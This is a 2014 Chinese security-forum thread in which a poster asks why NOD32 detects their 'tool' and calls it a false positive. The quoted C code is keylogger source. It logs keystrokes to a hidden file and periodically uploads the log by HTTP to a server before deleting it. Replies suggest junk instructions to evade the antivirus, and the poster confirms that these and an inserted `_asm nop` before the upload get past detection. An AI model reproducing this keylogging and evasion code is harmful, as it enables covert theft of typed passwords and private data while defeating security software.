首页
社区
课程
招聘
[旧帖] [求助]杀软误报的问题 0.00雪花
发表于: 2014-5-10 00:32 1392

[旧帖] [求助]杀软误报的问题 0.00雪花

2014-5-10 00:32
1392
今天发现自己的一个小工具被nod32给干掉了,定位到的特征是在这个段落中
/////////////////////////////////////////////////////////////////////////////
switch(character)
                                                {               
                                                case VK_SPACE:
                                                        myfputc(' ',file);
                                                        fclose(file);
                                                        break;   
                                                case VK_SHIFT:
                                                        myfputs("[SHIFT]",file);
                                                        fclose(file);
                                                        break;                                            
                                                case VK_RETURN:
                                                        myfputs("\n[ENTER]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_BACK:
                                                        myfputs("[BACKSPACE]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_TAB:
                                                        myfputs("[TAB]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_CONTROL:
                                                        myfputs("[CTRL]",file);
                                                        fclose(file);
                                                        break;   
                                                case VK_DELETE:
                                                        myfputs("[DEL]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_1:
                                                        myfputs("[;:]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_2:
                                                        myfputs("[/?]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_3:
                                                        myfputs("[`~]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_4:
                                                        myfputs("[ [{ ]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_5:
                                                        myfputs("[\\|]",file);
                                                        fclose(file);
                                                        break;                                
                                                case VK_OEM_6:
                                                        myfputs("[ ]} ]",file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_7:
                                                        myfputs("['\"]",file);
                                                        fclose(file);
                                                        break;
                                               
                                                case VK_OEM_PLUS:
                                                        myfputc('+',file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_COMMA:
                                                        myfputc(',',file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_MINUS:
                                                        myfputc('-',file);
                                                        fclose(file);
                                                        break;
                                                case VK_OEM_PERIOD:
                                                        myfputc('.',file);
                                                        fclose(file);
                                                        break;
                                               
                                                case VK_NUMPAD0:
                                                        myfputc('0',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD1:
                                                        myfputc('1',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD2:
                                                        myfputc('2',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD3:
                                                        myfputc('3',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD4:
                                                        myfputc('4',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD5:
                                                        myfputc('5',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD6:
                                                        myfputc('6',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD7:
                                                        myfputc('7',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD8:
                                                        myfputc('8',file);
                                                        fclose(file);
                                                        break;
                                                case VK_NUMPAD9:
                                                        myfputc('9',file);
                                                        fclose(file);
                                                        break;
                                                case VK_CAPITAL:
                                                        myfputs("[CAPS LOCK]",file);
                                                        fclose(file);
                                                        break;
                                                case 110:
                                                        myfputc('.',file);
                                                        fclose(file);
                                                        break;  
                                                case VK_MENU:
                                                        myfputs("[ALT]",file);
                                                        fclose(file);
                                                        break;  
                                                default:
                                                        fclose(file);
                                                        break;
                                                }        
                                        }   
                                }
                               
                        }   
                }                  
        }
        return EXIT_SUCCESS;                           
}   

////////////////////////////////////////////////////////////////////////////////////
只要注释掉任意的myfputs 然后编译就会不杀了 比如注释掉myfputs("[SHIFT]",file); 然后
编译,结果就不杀了,我想问的是这是不是我定位错误了? 还是杀的本来就是这个位置?新手求

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (6)
雪    币: 704
活跃值: (657)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
2
记录键盘到文件会不会就是恶意行为?我记得木马的常用手法就是,记录到文件然后邮件出去。
2014-5-10 01:38
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
这可该咋整,求问,会不会是定位错了... 总感觉不应该杀这里
2014-5-10 02:05
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
注释掉保存到文件 一样被K了 看来杀的也不是这里。。
2014-5-10 02:47
0
雪    币: 704
活跃值: (657)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
5
猜想楼主是自定义了一个窗口处理过程,或者hook了系统键盘消息。
这两步应该都没有问题,但是在消息处理过程中,获取并记录这一个组合过程,很敏感。如你所说,注释掉myfputs之后就不会杀了。所以我认为是在这个组合过程的问题。
楼主试试在puts之前加一加花指令方法,看能过么。
2014-5-10 09:47
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
加花指令确实不杀,但是我又发现了个位置 
///////////////////////////////////////
char tempfile[MAX_PATH];
        if(isadmin())
                GetWindowsDirectory(tempfile,MAX_PATH);   //Get %Windir%
        else
                GetAppDataDirectory(tempfile,MAX_PATH);   //Get users/%user%/appdata/local
        sprintf(tempfile,"%s\\log.txt",tempfile);

    while(1)
    {
                Sleep(10);/*to prevent 100% cpu usage*/
                xTickCount++;

                if(xTickCount>60) //10min = 600,000/10
                {
                        GetLocalTime(&st);  //Get current time
                        sprintf(str,"a %.4d-%.2d-%.2d %.2d:%.2d:%.2d",st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond);
                        UseHttpSendReqEx(tempfile,"127.0.0.1",80,"/index.php");/////////////////////////////////
                        DeleteFile(tempfile);
                        xTickCount=0;
                }
如果把这两句 注释掉一句, 杀, 都注释掉,不杀,那看来杀的是这里? 这个地方怎么改?
2014-5-10 15:32
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
w kao... _asm nop; 在发送前, 过了。 我想知道为什么?
2014-5-10 17:56
0
游客
登录 | 注册 方可回帖
返回
//